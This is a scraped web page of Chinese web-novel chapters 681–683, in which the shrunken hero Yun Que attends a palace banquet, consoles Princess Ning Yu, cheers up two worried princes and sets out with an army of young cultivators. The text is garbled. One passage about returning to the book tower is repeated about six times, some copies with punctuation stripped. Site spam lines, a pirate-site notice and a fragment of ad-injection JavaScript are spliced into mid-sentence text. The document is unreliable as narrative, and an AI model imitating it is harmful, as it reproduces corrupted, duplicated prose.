小云缺一个转向,冲向嘲讽的家伙,一阵狂风过后,那人的衣服也没了,尖叫着狼狈而逃。 云缺一边跑一边气。 天龙城大劫,我可是最大的功臣! 老天没长眼吗,有这么对待救下满城百姓的功臣吗! 云缺先头挺生气,等后来就不气了,因为老天不仅没长眼,还瞎了。 正往皇宫跑呢,忽然被一只大手抓了过去。 “你这娃子,这么大点儿就在街上乱跑,没看见马车来了,被撞了怎么办!真该打!老夫替你父母教训教训你这野娃子!” 噼里啪啦。 云缺只觉得辟股火辣辣的疼。 不是四品破军之力扛不住,而且打人的老头是二品! 一些巡街的军兵经过,看到了古怪的一幕画面。 太尉大人坐在茶棚里,正在打孩子…… 军兵们也不敢管,更不敢笑,强憋着笑意,急匆匆绕路。 …… 当晚,皇宫内摆宴。 赴宴的人不多,太尉龙桃,丞相左兰山,午马徐傲古,驸马云缺。 算上秦皇五个人。 酒菜均为上品,香气扑鼻,不过气氛有点古怪。 第681章 应该还有救 云缺依旧是孩子模样,与早上不同,差不多达到两岁左右,站在凳子上开吃,狼吞虎咽,根本不理睬旁人的目光。 左兰山显然胃口欠佳,偶尔喝两口酒,不过心情大好,一边抿酒一边笑。 一看到云缺如此倒霉的模样,左兰山说不出来的高兴。 徐傲古与龙桃推杯换盏,两人都是强大的武夫,吃相基本一样,大口鱼大口肉,大口喝酒,极其豪迈。 就是对话太过诡异。 “酒逢知己千杯少,来!再喝一杯!” “干了!丞相大人好酒量!” “我不是丞相,我是太尉!丞相那玩意需要阴险算计,咱们武夫当不来,当不来!” “说得也对,有道理!我敬太尉一杯!” “干!哈哈,终于找到个能喝的,你们生肖高手厉害啊,尤其你这个龙猫,强得很!要是没有你,陛下危矣!” “我不是龙猫,我是二哥!看你岁数这么大,叫我二弟就行了,以后有买卖少不了你一份!生肖高手是什么东西?十二生肖里有猫吗?” “怎么没有!你看我给你算啊,子鼠丑牛,猫虎卯兔,辰龙巳蛇,午马未羊,萝卜大蒜,醋溜里脊,你瞧,有猫吧。” “嘿!还真有猫嘿!我一直觉得十二生肖里没有猫呢,还是丞相大人有学问,再干一杯!” “哎,说过了我不是丞相,好人哪有当丞相的,我是御史大夫!记住了,千万别弄混了,咱们武夫可以没有脑子,但不能认错自己的官职!” 两人喝得越发尽兴,秦皇则无奈的捂住了额头。 俩傻子,终于凑一块了…… 云缺正好咽下去一块肉,发出清脆的童音道: “御史大夫,你欠我的钱什么时候还呐。” “还什么还!等爷爷死了,家里的钱还不都是你这个孙子的!爷爷这辈子攒了好多钱呢,我记得还有一把决云剑,等明天爷爷就传给你,谁让你是我们家的独苗呢!”龙桃大气的道。 这下不仅秦皇无奈,连左兰山也捂住了额头。 看不下去,实在看不下去了…… “伤得不轻,应该还有救,至少知道决云剑没还我呢。”云缺嘀咕了一句。 “云缺,你那位七叔医术通神,他是 否有办法医治。 “神魂上的伤势,七叔也没办法,皇舅放心,我有个朋友会治这种病,等我找到他,把他拉来天龙城。云缺道。 朋友,自然指的是门六。 那可是好兄弟呀。 这场酒宴,其实云缺想把七叔也带来,但七叔不喜欢热闹,执意不肯露面。 云缺只能就此作罢。 随后云缺直入正题,说出了与大唐结盟之事。 左兰山出乎预料的赞同。 云缺发现今天的丞相,神色间多出了几分疲惫之色,并非恶战过后的乏累,而是来自心里。 “老臣年纪不小了,辅佐陛下多年,看得出陛下身为枭雄却有一颗仁慈之心,若与大唐开战,受苦的只能是两国百姓,不如定下血盟,百年不战。左兰山道。 赢開缓缓颔首,道: “朕明日启程,亲自走一趟大唐,去见唐皇。 “老臣愿同往。左兰山道。 “我就不去了,皇舅见完唐皇记得去趟顺王府,我外公在家里等儿子呢。云缺道。 秦皇的神色变了变,长叹一声,点头答应下来。 亲爹,早晚得见的。 无论赢開心里如何怨恨,身为人子,血脉里永远流淌着父亲的传承。 叹息过后,秦皇忽然笑了起来,笑得十分开怀,举杯痛饮。 其实赢開早已原谅了顺王。 当年的顺王要实力没实力,要势力没势力,不逃,只会成为刀下亡魂,被其他兄弟们灭杀。 “天龙城的劫难,云缺当为首功,朕敬你一杯,这次打得实在憋屈,等找到殿主,朕一定与他死战一场! 有秦皇这句话,云缺就放心了。 连饮三杯。 其实这三杯酒各有不同的含义。 第一杯为了秦皇这位一品强援,第二杯为了庆祝天龙城安然无恙,第三杯为了缅怀顺王。 我走了,吸血的事儿找你亲爹吧…… 大秦之事尘埃落定,云缺提出要带走少年城的人马回援大晋,秦皇自然点头同意。 云缺的功劳实在太大,别说要少年城的人,即便要秦皇亲自出面,赢開也会答应。 云缺多要了一个人。 寒刀。 身为将军,寒刀始终负责皇宫安危。 可惜这位战力强悍的镇殿将军,昨晚在幻阵里左冲右闯,忙活大半宿愣是一个敌人也没找到,空有一身三品巅峰修为,根本没用上。 比起秦皇来,寒刀其实是天龙城里最憋屈,最郁闷的一个。 秦皇笑着答应下来,将寒刀借给云缺。 左兰山在旁边唏嘘感慨,经此一事,从未在脸上出现过笑容的皇帝,居然变得开朗了太多。 明主,不该郁郁寡欢,否则江山一定不会长久。 这是左兰山心里所想,也是他这位丞相的一块心病,如今,他这块心病被云缺给治好了。 辞别众人,云缺返回书楼。 常威,瞎子,吴命与鸿影已经回来了,这几个在城外蹲了一宿,早晨发现城里恢复了正常这才返回。 一见面云缺就发现吴命变得有些不同,身上出现了气机波动,又与武夫的气机不太一样。 “吴兄,莫非重拾修为?”云缺好奇道。 一开口把常威这几人全都吓了一跳。 “王爷!怎么变小了!”常威惊呼道。 “成了娃娃!肯定中了邪术!”瞎子惊讶道。 “过阵子就好了。”云缺不耐烦的摆手道。 吴命道: “修了些佛门功法,初窥门径。”吴命笑道。 “一法通则百法通,恭喜吴兄。”云缺拱手道。 “多亏王爷收留,若无王爷开导,我这辈子不可能再有修为,吴命这条命,这辈子只为王爷效忠。”吴命躬身道。 “什么效忠不效忠的,大家都是兄弟。” 云缺笑着将众人引荐给七叔,随后吩咐道:“瞎子,你去定制牌匾,在浴堂旁边开家新买卖,名字是庸医馆。” 瞎子连忙领命,屁颠屁颠的去定匾额。 “七叔先在这落脚,我得回大晋,那边不知打到什么程度。”云缺道。 “好,你自己小心,武威王留在医馆即可,我帮他慢慢调理。”杨七古道。 “吴兄,这边的买卖都得你帮忙照看,三家店的大门,你可得看好了。”云缺道。 “王爷放心,只要我这条命还在,这里就不会有问题。”吴命凝重道。 “咱们要回家了吗?太好了!”鸿影一蹦多高。 “是啊,要回家了,不过很快还会回来。”云缺婴孩模样的小脸布满坚毅,捏起小拳头道:“天澜宝境第二重,就要开了!” 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 寒刀。 身为将军寒刀始终负责皇宫安危。 可惜这位战力强悍的镇殿将军昨晚在幻阵里左冲右闯忙活大半宿愣是一个敌人也没找到空有一身三品巅峰修为根本没用上。 比起秦皇来寒刀其实是天龙城里最憋屈最郁闷的一个。 秦皇笑着答应下来将寒刀借给云缺。 左兰山在旁边唏嘘感慨经此一事 明主不该郁郁寡欢否则江山一定不会长久。 这是左兰山心里所想也是他这位丞相的一块心病如今他这块心病被云缺给治好了。 辞别众人云缺返回书楼。 常威瞎子吴命与鸿影已经回来了这几个在城外蹲了一宿早晨发现城里恢复了正常这才返回。 一见面云缺就发现吴命变得有些不同身上出现了气机波动又与武夫的气机不太一样。 “吴兄莫非重拾修为?”云缺好奇道。 一开口把常威这几人全都吓了一跳。 “王爷!怎么变小了!”常威惊呼道。 “成了娃娃!肯定中了邪术!”瞎子惊讶道。 “过阵子就好了。”云缺不耐烦的摆手道。 吴命道: “修了些佛门功法初窥门径。”吴命笑道。 “一法通则百法通恭喜吴兄。”云缺拱手道。 “多亏王爷收留若无王爷开导我这辈子不可能再有修为吴命这条命这辈子只为王爷效忠。”吴命躬身道。 “什么效忠不效忠的大家都是兄弟。” 云缺笑着将众人引荐给七叔随后吩咐道:“瞎子你去定制牌匾在浴堂旁边开家新买卖名字是庸医馆。” 瞎子连忙领命屁颠屁颠的去定匾额。 “七叔先在这落脚我得回大晋那边不知打到什么程度。”云缺道。 “好你自己小心武威王留在医馆即可我帮他慢慢调理。”杨七古道。 “吴兄这边的买卖都得你帮忙照看三家店的大门你可得看好了。”云缺道。 “王爷放心只要我这条命还在这里就不会有问题。”吴命凝重道。 “咱们要回家了吗?太好了!”鸿影一蹦多高。 “是啊要回家了不过很快还会回来。”云缺婴孩模样的小脸布满坚毅捏起小拳头道:“天澜宝境第二重就要开了!” 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 寒刀。 身为将军寒刀始终负责皇宫安危。 可惜这位战力强悍的镇殿将军昨晚在幻阵里左冲右闯忙活大半宿愣是一个敌人也没找到 比起秦皇来寒刀其实是天龙城里最憋屈最郁闷的一个。 秦皇笑着答应下来将寒刀借给云缺。 左兰山在旁边唏嘘感慨经此一事从未在脸上出现过笑容的皇帝居然变得开朗了太多。 明主不该郁郁寡欢否则江山一定不会长久。 这是左兰山心里所想也是他这位丞相的一块心病如今他这块心病被云缺给治好了。 辞别众人云缺返回书楼。 常威瞎子吴命与鸿影已经回来了这几个在城外蹲了一宿早晨发现城里恢复了正常这才返回。 一见面云缺就发现吴命变得有些不同身上出现了气机波动又与武夫的气机不太一样。 “吴兄莫非重拾修为?”云缺好奇道。 一开口把常威这几人全都吓了一跳。 “王爷!怎么变小了!”常威惊呼道。 “成了娃娃!肯定中了邪术!”瞎子惊讶道。 “过阵子就好了。”云缺不耐烦的摆手道。 吴命道: “修了些佛门功法初窥门径。”吴命笑道。 “一法通则百法通恭喜吴兄。”云缺拱手道。 “多亏王爷收留若无王爷开导我这辈子不可能再有修为吴命这条命这辈子只为王爷效忠。”吴命躬身道。 “什么效忠不效忠的大家都是兄弟。” 云缺笑着将众人引荐给七叔随后吩咐道:“瞎子你去定制牌匾在浴堂旁边开家新买卖名字是庸医馆。” 瞎子连忙领命屁颠屁颠的去定匾额。 “七叔先在这落脚我得回大晋那边不知打到什么程度。”云缺道。 “好你自己小心武威王留在医馆即可我帮他慢慢调理。”杨七古道。 “吴兄这边的买卖都得你帮忙照看三家店的大门你可得看好了。”云缺道。 “王爷放心只要我这条命还在这里就不会有问题。”吴命凝重道。 “咱们要回家了吗?太好了!”鸿影一蹦多高。 “是啊要回家了不过很快还会回来。”云缺婴孩模样的小脸布满坚毅捏起小拳头道:“天澜宝境第二重就要开了!” 注册本站会员可以解锁更多福利,快试试吧 寒刀。 身为将军,寒刀始终负责皇宫安危。 可惜这位战力强悍的镇殿将军,昨晚在幻阵里左冲右闯,忙活大半宿愣是一个敌人也没找到,空有一身三品巅峰修为,根本没用上。 比起秦皇来,寒刀其实是天龙城里最憋屈,最郁闷的一个。 秦皇笑着答应下来,将寒刀借给云缺。 左兰山在旁边唏嘘感慨,经此一事,从未在脸上出现过笑容的皇帝,居然变得开朗了太多。 明主,不该郁郁寡欢,否则江山一定不会长久。 这是左兰山心里所想,也是他这位丞相的一块心病,如今,他这块心病被云缺给治好了。 辞别众人,云缺返回书楼。 常威,瞎子,吴命与鸿影已经回来了,这几个在城外蹲了一宿,早晨发现城里恢复了正常这才返回。 一见面云缺就发现吴命变得有些不同,身上出现了气机波动,又与武夫的气机不太一样。 “吴兄,莫非重拾修为?云缺好奇道。 一开口把常威这几人全都吓了一跳。 “王爷!怎么变小了!常威惊呼道。 “成了娃娃!肯定中了邪术!瞎子惊讶道。 “过阵子就好了。云缺不耐烦的摆手道。 吴命道: “修了些佛门功法,初窥门径。吴命笑道。 “一法通则百法通,恭喜吴兄。云缺拱手道。 “多亏王爷收留,若无王爷开导,我这辈子不可能再有修为,吴命这条命,这辈子只为王爷效忠。 “什么效忠不效忠的,大家都是兄弟。 云缺笑着将众人引荐给七叔,随后吩咐道:“瞎子,你去定制牌匾,在浴堂旁边开家新买卖,名字是庸医馆。 瞎子连忙领命,屁颠屁颠的去定匾额。 “七叔先在这落脚,我得回大晋,那边不知打到什么程度。云缺道。 “好,你自己小心,武威王留在医馆即可,我帮他慢慢调理。杨七古道。 “吴兄,这边的买卖都得你帮忙照看,三家店的大门,你可得看好了。云缺道。 “王爷放心,只要我这条命还在,这里就不会有问题。吴命凝重道。 “咱们要回家了吗?太好了!鸿影一蹦多高。 “是啊,要回家了,不过很快还会回来。云缺婴孩模样的小脸布满坚毅,捏起小拳头道:“天澜宝境第二重,就要开了! 注册本站会员可以解锁更多福利,快试试吧 寒刀。 身为将军寒刀始终负责皇宫安危。 可惜这位战力强悍的镇殿将军昨晚在幻阵里左冲右闯忙活大半宿愣是一个敌人也没找到空有一身三品巅峰修为根本没用上。 比起秦皇来寒刀其实是天龙城里最憋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 屈最郁闷的一个。 秦皇笑着答应下来将寒刀借给云缺。 左兰山在旁边唏嘘感慨经此一事从未在脸上出现过笑容的皇帝居然变得开朗了太多。 明主不该郁郁寡欢否则江山一定不会长久。 这是左兰山心里所想也是他这位丞相的一块心病如今他这块心病被云缺给治好了。 辞别众人云缺返回书楼。 常威瞎子吴命与鸿影已经回来了这几个在城外蹲了一宿早晨发现城里恢复了正常这才返回。 一见面云缺就发现吴命变得有些不同身上出现了气机波动又与武夫的气机不太一样。 “吴兄莫非重拾修为?”云缺好奇道。 一开口把常威这几人全都吓了一跳。 “王爷!怎么变小了!”常威惊呼道。 “成了娃娃!肯定中了邪术!”瞎子惊讶道。 “过阵子就好了。”云缺不耐烦的摆手道。 吴命道: “修了些佛门功法初窥门径。”吴命笑道。 “一法通则百法通恭喜吴兄。”云缺拱手道。 “多亏王爷收留若无王爷开导我这辈子不可能再有修为吴命这条命这辈子只为王爷效忠。”吴命躬身道。 “什么效忠不效忠的大家都是兄弟。” 云缺笑着将众人引荐给七叔随后吩咐道:“瞎子你去定制牌匾在浴堂旁边开家新买卖名字是庸医馆。” 瞎子连忙领命屁颠屁颠的去定匾额。 “七叔先在这落脚我得回大晋那边不知打到什么程度。”云缺道。 “好你自己小心武威王留在医馆即可我帮他慢慢调理。”杨七古道。 “吴兄这边的买卖都得你帮忙照看三家店的大门你可得看好了。”云缺道。 “王爷放心只要我这条命还在这里就不会有问题。”吴命凝重道。 “咱们要回家了吗?太好了!”鸿影一蹦多高。 “是啊要回家了不过很快还会回来。”云缺婴孩模样的小脸布满坚毅 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 寒刀。 身为将军,寒刀始终负责皇宫安危。 可惜这位战力强悍的镇殿将军,昨晚在幻阵里左冲右闯,忙活大半宿愣是一个敌人也没找到,空有一身三品巅峰修为,根本没用上。 比起秦皇来,寒刀其实是天龙城里最憋屈,最郁闷的一个。 秦皇笑着答应下来,将寒刀借给云缺。 左兰山在旁边唏嘘感慨,经此一事,从未在脸上出现过笑容的皇帝,居然变得开朗了太多。 明主,不该郁郁寡欢,否则江山一定不会长久。 这是左兰山心里所想,也是他这位丞相的一块心病,如今,他这块心病被云缺给治好了。 辞别众人,云缺返回书楼。 常威,瞎子,吴命与鸿影已经回来了,这几个在城外蹲了一宿,早晨发现城里恢复了正常这才返回。 一见面云缺就发现吴命变得有些不同,身上出现了气机波动,又与武夫的气机不太一样。 “吴兄,莫非重拾修为?”云缺好奇道。 一开口把常威这几人全都吓了一跳。 “王爷!怎么变小了!”常威惊呼道。 “成了娃娃!肯定中了邪术!”瞎子惊讶道。 “过阵子就好了。”云缺不耐烦的摆手道。 吴命道: “修了些佛门功法,初窥门径。”吴命笑道。 “一法通则百法通,恭喜吴兄。”云缺拱手道。 “多亏王爷收留,若无王爷开导,我这辈子不可能再有修为,吴命这条命,这辈子只为王爷效忠。”吴命躬身道。 “什么效忠不效忠的,大家都是兄弟。” 云缺笑着将众人引荐给七叔,随后吩咐道:“瞎子,你去定制牌匾,在浴堂旁边开家新买卖,名字是庸医馆。” 瞎子连忙领命,屁颠屁颠的去定匾额。 “七叔先在这落脚,我得回大晋,那边不知打到什么程度。”云缺道。 “好,你自己小心,武威王留在医馆即可,我帮他慢慢调理。”杨七古道。 “吴兄,这边的买卖都得你帮忙照看,三家店的大门,你可得看好了。”云缺道。 “王爷放心,只要我这条命还在,这里就不会有问题。”吴命凝重道。 “咱们要回家了吗?太好了!”鸿影一蹦多高。 “是啊,要回家了,不过很快还会回来。”云缺婴孩模样的小脸布满坚毅,捏起小拳头道:“天澜宝境第二重,就要开了!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 寒刀。 身为将军,寒刀始终负责皇宫安危。 可惜这位战力强悍的镇殿将军,昨晚在幻阵里左冲右闯,忙活大半宿愣是一个敌人也没找到,空有一身三品巅峰修为,根本没用上。 比起秦皇来,寒刀其实是天龙城里最憋屈,最郁闷的一个。 秦皇笑着答应下来,将寒刀借给云缺。 左兰山在旁边唏嘘感慨,经此一事,从未在脸上出现过笑容的皇帝,居然变得开朗了太多。 明主,不该郁郁寡欢,否则江山一定不会长久。 这是左兰山心里所想,也是他这位丞相的一块心病,如今,他这块心病被云缺给治好了。 辞别众人,云缺返回书楼。 常威,瞎子,吴命与鸿影已经回来了,这几个在城外蹲了一宿,早晨发现城里恢复了正常这才返回。 一见面云缺就发现吴命变得有些不同,身上出现了气机波动,又与武夫的气机不太一样。 “吴兄,莫非重拾修为?云缺好奇道。 一开口把常威这几人全都吓了一跳。 “王爷!怎么变小了!常威惊呼道。 “成了娃娃!肯定中了邪术!瞎子惊讶道。 “过阵子就好了。云缺不耐烦的摆手道。 吴命道: “修了些佛门功法,初窥门径。吴命笑道。 “一法通则百法通,恭喜吴兄。云缺拱手道。 “多亏王爷收留,若无王爷开导,我这辈子不可能再有修为,吴命这条命,这辈子只为王爷效忠。吴命躬身道。 “什么效忠不效忠的,大家都是兄弟。 云缺笑着将众人引荐给七叔,随后吩咐道:“瞎子,你去定制牌匾,在浴堂旁边开家新买卖,名字是庸医馆。 瞎子连忙领命,屁颠屁颠的去定匾额。 “七叔先在这落脚,我得回大晋,那边不知打到什么程度。云缺道。 “好,你自己小心,武威王留在医馆即可,我帮他慢慢调理。 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节)杨七古道。 “吴兄,这边的买卖都得你帮忙照看,三家店的大门,你可得看好了。云缺道。 “王爷放心,只要我这条命还在,这里就不会有问题。吴命凝重道。 “咱们要回家了吗?太好了!鸿影一蹦多高。 “是啊,要回家了,不过很快还会回来。云缺婴孩模样的小脸布满坚毅,捏起小拳头道:“天澜宝境第二重,就要开了! 你的朋友正在书荒,快去帮帮他吧 第682章 红尘这张破网 安顿好天龙城的事宜之后,已经到了晚上。 云缺仍旧是孩童状态,以七叔所言,至少一个月之后才能恢复过来。 当晚,云缺回了趟公主府,与宁玉公主辞行。 赢霏雨自从得知自己真正的身世,这几天消瘦了很多,整夜无眠。 今晚也一样, 桌上摆着饭菜却一口没碰,坐在窗前望着月亮发呆,眼角有明显的泪痕。 门扉响动,赢霏雨急忙擦了下眼角。 转头一看,不由得疑惑起来,居然进来个小娃娃,胖乎乎的小脸十分可爱。 “你是……” “迷路了,闻到饭菜香味好饿呀,姐姐我能吃点嘛。” 听着小娃娃脆生生的声音,赢霏雨微笑起来,道: “吃吧,以后饿了就来这里吃。” “姐姐真好!” 小娃娃自己跳上椅子,挽起袖子站着开吃。 坐着吃不行,太矮,够不到菜。 赢霏雨坐在对面,面带好奇的道: “你爹娘呢,这么晚了一个人在外面,你这么小,多危险。” “我娘丢了,可能被妖怪抓走了,吃饱了才有力气救我娘。” “你才多大,妖族很可怕的,听姐姐的话,等你长大变得强壮了再去救你娘,你爹呢?” “我爹死了!被妖怪吃了,骨头渣都没剩,死的老惨了!” 对于小娃娃的经历,赢霏雨十分同情,可她有点想不通,为什么提起爹死了,这小娃娃反而吃得更开心了? 嗯,一定是饿了很久…… 宁玉公主一手托腮,望着窗外呢喃道: “我也没有爹娘,我能理解你的感受,我们一样孤单,一生躲在黑暗里等待死亡,我以为这辈子很快会结束,只要死掉,就可以解脱了,可是,他来了,像一道光一样驱散了我身边的黑暗。” “原来天好蓝,月亮好美,世界不像我想的那样冰冷,你知道吗,爱上一个人的感觉,真好……” “我知道他心里其实装着别人,我还是愿意等他,哪怕这辈子他再也不会回来,我也会等,等到海枯石烂,等到生命尽头。” “即便此生依旧还是一个人,我也不会觉得孤单了,至少,我曾经有过驸马……” 呢喃轻语,如泣如诉,听得人黯然神伤。 云缺吃不下去了。 满桌丰盛的饭菜,在云缺眼里组成了一张大网。 这张破网有个别致的名字,叫他么红尘…… “姐姐别难过,你家驸马爷会回来的,都成亲了,哪能不要你呢。” 赢霏雨缓缓摇头,苦涩道: “我知道他要走了,就像秋天里的落叶,乘风而去,飘向远方,他的世界一定好精彩,他的前路一定波澜壮阔,我虽然看不到,但我会在家里为他祈福,无论他走到何处,都会一帆风顺,风光无两。” 小云缺放下筷子,撇着小嘴儿道:“姐姐,驸马死了吗?” “没有呀,他不会死的,我不许他死,宁肯我去死也不许他死。”赢霏雨道。 “既然没死,一个大活人,走了就走了,肯定会回来,驸马舍不得姐姐的。”小云缺道。 赢霏雨眨了眨泛着泪痕的美目,疑惑道:“小弟弟,你怎么如此肯定驸马会回来呢?” “因为姐姐漂亮呀!”小云缺嘿嘿笑道。 “真的吗?”赢霏雨的心情好转了许多。 “真的!我见的美人可多了,姐姐能排在前三!”小云缺道。 “其他两位又是谁呢?”赢霏雨追问道。 “呃……是我两个舅母!”小云缺胡诌道。 “两个舅母?你舅舅很多呀。”赢霏雨道。 “还好,别看我爹死了,但我亲戚多,一大家子呢,有个喜欢勾栏听曲的外公,有两个家大业大的舅舅,大舅家有三个儿子,一个胖如猪,一个成天睡大觉,最后一个是败家子,那三个表哥一个比一个蠢,还有个表姐可漂亮了,和姐姐你一样漂亮。” 小云缺说完,赢霏雨咯咯轻笑起来。 “哪有说自家表哥是猪的,小心你家表哥听到了揍你。” “姐姐放心,他们抓不到我,我跑得快!” “没地方藏,就来我这里,你那些表哥肯定不敢进来。” “说定了,姐姐真好!吃饱了,我走啦。”小云缺跳下凳子跑到门口,回头笑道:“驸马会来接姐姐的,我说的!” “嗯,你慢点跑别摔到。” 赢霏雨微笑着招手,等小娃娃走远,她重新望向夜空,漂亮的眼眸里泛起了深深的思念。 “驸马,还会回来吗,他心里若有我,为何临行前不来见我一面呢……” 宁玉公主有些委屈,又有些期待,怀着复杂的心情守在公主府,她心里只有一个念头。 等待。 哪怕无尽岁月,也要一直等待下去。 公主府一角。 小云缺站在一棵刚刚发芽的小树近前小解,连绵不绝的水线落在小树苗上。 “正好回来一趟,别浪费了,树公公,别说我没想着你,给你多来点养料,你快点长大,多结点果子,我就喜欢青果子酸酸甜甜的味道,开胃!” 留下一个幽怨的公主和一泡尿之后,云缺提着裤子离开了公主府。 随后到了二皇子府。 欠赢皓的一顿酒,今晚还上。 二皇子伤势较重,刚刚能坐起来吃点菜,倒是大皇子一个劲儿的喝着闷酒,哥俩正商议未来如何面对秦皇,这时候云缺到了。 背着手老神在在的走了进来。 “哪里来的小屁孩,气势好生嚣张,怎么像云缺呢?” 赢财端着酒杯疑惑道。 他看不出模样像,而是看着人家的架势像,敢在皇子府横着走的除了驸马爷还能有谁。 “大殿下好眼力,这些年的黑锅看来没白背,都背出经验了。” 云缺跳上椅子,倒了三杯酒道:“上次二殿下相约没来,今天我罚酒三杯。” 一口气喝完三杯。 赢皓苦笑道: “驸马大驾光临,蓬荜生辉,我陪驸马三杯。” “叫什么驸马。”赢财打断他二弟,道:“叫太子!” 赢皓怔了下,改口道:“一时忘了,太子殿下勿怪。” 赢财笑呵呵的起身亲自倒酒,道:“太子这么晚了还能找我们兄弟喝酒,不胜荣幸,我们兄弟陪太子喝个痛快!” “什么太子,我是个外甥而已,两天没见怎么见外了?”云缺不满道。 赢财胖脸发苦,道: “你好歹是个外甥,我们就是个外人,唉,我和二弟商量过了,明天去见陛下辞行,带着老三远走他乡,放心,大秦皇位我们一点念想都没有,大秦是你的,我们不争,我们也没资格争。” 赢皓道: “我和大哥在哪都一样,我们修为不算太低,混口饭吃不成问题,就是老三麻烦点,修为太低又大手大脚惯了,一时怕不习惯,明天我去求求陛下,送老三点盘缠,让他这辈子衣食无忧即可。” 第683章 护院的狗与出栏的猪 曾经高高在上的皇子,如今成了寄人篱下,如此奇异的遭遇任谁听了都会倍感唏嘘。 道一句命运无常。 云缺听完非但没有同情,反而笑了起来。 “你们哥俩行啊,未雨绸缪,要不这样,你们兄弟去我的大燕国,我可是燕皇,给你们弄几个庄园。” 赢财眼前一亮,搓手道: “太子够义气!一出手就是庄园,哈哈,我最喜欢庄园了,鸟语花香惬意得很,不知一座庄园有多大?” “多大?”云缺想了想,道:“至少上千丈吧,反正没有小的。” “嚯!上千丈的庄园,送我们了?”赢财惊讶道。 “一人一座,随便住!有山有水,冬暖夏凉,就是光线暗了点。”云缺道。 赢财和赢皓听得挺高兴,有山有水,上千丈的庄园,这是桃园之地啊。 人一高兴,就容易忽略些问题。 这二位忽略了最关键的,光线暗。 那岂止是光线暗呐,根本是暗无天日,只要不钻出去,一辈子都看不到太阳。 云缺说的庄园,其实是土人族的地下洞窟。 别说上千丈,只要肯挖土,几万丈都没问题啊…… “燕国,不是灭亡了么,又有国土了?”赢财忽然反应了过来。 “当然有,还不小呢,只要我愿意,我大燕版图可以涵盖云州!” 小小的云缺掐着腰,意气风发的道。 赢皓听得稀里糊涂,但是赢财有点回过味儿了。 三个皇子当中,最聪明的要数赢财。 “该不会你给的庄园,在地底下吧。”赢财道。 “是啊,过阵子就搬上去了,不必在意,喝酒。”云缺哈哈笑道。 “唉,太子这玩笑一点都不好笑,我们都如此落魄了,你就别调侃我们了。”赢财唉声叹气道。 “你们自寻烦恼,还不让我调侃一番?” 云缺笑道:“屠户家养了几条看家护院的狗,那些肥粗二胖快出栏的猪都没担心什么,天天吃得好睡得好,偏偏几条看门狗整天担心被屠户宰了吃肉,吃不好睡不好,大门都看不好,你说那几条狗是不是闲得慌。” 赢财本来在喝着闷酒,听闻此言,缓缓放下酒杯,脸色从茫然渐渐变成了释然。 “有道理……一语点醒梦中人!陛下若是容不得我们,早该下旨了,我们在杞人忧天啊。”赢财感叹道。 “我就说父皇不会那么无情,父皇都养了我们这么多年,要赶走我们早动手了。” 赢皓凝重道:“我们不该想着远离,我们应该想着替父皇出力,等我养好伤,我替父皇征战四方,老三替父皇花钱,大哥替父皇背黑锅,我们三个都还有用,皇位我们不争,但大秦,我们要全力守护才行。” “二弟言之有理,是大哥想多了,唉,二弟你下次说得委婉点,什么叫我替父皇背黑锅啊。”赢财苦笑道:“还有太子,你说的更难听,合着我们三个都是看门狗呗。” “我这叫一针见血。”云缺晃着酒杯道:“委婉点也成,城东头开了家青楼,三个卖艺的成天担心……” “停停停!”赢财赶紧叫停,道:“你可别委婉了,比起青楼,我宁愿当狗。” 三人哈哈大笑。 一顿酒,解开了两位皇子的心结。 天亮后,云缺骑在寒刀脖子上,就此出发。 身体太小,没办法,总得有个坐骑吧。 寒刀的脸反正一直都是黑的,敢怒不敢言,谁让脖子上这位是皇帝的外甥呢。 刚到城门,碰见个熟人。 “停!” 云缺脆生生的喊停。 寒刀如同木头人似的停住脚步,并且在心里长出一口气。 幸好你没喊‘吁’。 要不然他这位镇殿将军真就没脸见人了。 云缺一指城门旁的一名巡街将军,大声道: “这个人我要了,让他跟我一起走!” 被指的不是别人,正是斜眼将军程药金。 寒刀冷着脸道:“驸马有令,程将军,一同上路。” 虽然都叫将军,地位天差地别,比起镇殿将军,程药金这职位明显太低,就是个混子。 程药金苦着脸,斜着眼来到近前,躬身道: “驸马有何吩咐,我今日负责值守城门,城门事关天龙城安危,属下实在走不开呀。” 云缺瞪起眼睛,踩着寒刀肩膀跳到程药金脑袋上。 “昨晚天龙城差点毁了,怎么不见你出来大杀四方,你昨晚干什么去了!” “驸马明鉴,属下也鏖战一夜呀!” “在青楼鏖战的是吧,别以为我不知道,你还点了两个!一个用大唐的俸禄,一个用大秦的俸禄,程将军真是好算计呀。” 程药金一听差点被吓死,扛着云缺跑到远处,哀求道: “王爷呀,别掀老底呀,我就一个脑袋,一刀下去就没啦。” “你还知道你就一个脑袋呢,唐皇那边我已经如实禀报了上去,你这个暗子不仅没用还耽误事,唐皇一怒之下降旨,要砍你人头!”云缺气呼呼的道。 “啊?我是没用,但我没耽搁王爷什么大事呀?”程药金一头雾水。 “还说你没耽搁,一件事都办不成,你这个老油条,秦皇已经知道你是大唐暗子了,你死定了!”云缺恶狠狠的道。 “不是吧,我自己都快忘了,秦皇怎么知道的,那我该怎么办呐,请王爷指条明路!”程药金道。 云缺点了点头,别看这家伙没什么大用,最大的能耐是见风使舵,顺坡下驴。 “跟我走,从今天开始你就是我云家的家臣,你的任务是驻守大燕国,本王现在就封你个镇殿将军!”云缺道。 “谢主隆恩!”程药金满脸堆笑。 至于大燕还是小燕,他才不在乎,他只知道脖子上这位,将来绝对是一方至强,也许比唐皇和秦皇都要强大。 眼力这块,程药金的天赋是顶尖的。 寒刀的脸不黑了,因为有人替他当了坐骑。 出城后,直接抵达少年城。 汇合柳真真,史得侩等人,云缺召集了十万兵马。 少年城几十万人,只挑精锐,并且男女比例还算平均,几乎各占一半。 这十万少年修士,云缺没打算还回来。 这些少年是火种,燕国的第一份根基,未来的大燕子民。 站在一群朝气蓬勃的少年面前,云缺直接挑明了自己的打算,如果谁不想成为大燕之人,可以无条件退出。 这种时候,不能动用心机,否则会埋下祸根。 十万少年修士齐声赞同,没有一人退出,坚定的跟随少年王。 新国新皇,开疆拓土,这可是从龙之功! 少年修士们战意盎然,就此开拔,大军排成长龙,宛如一条生机无尽的大河,流淌向远方。 当然河里也有点泥沙。 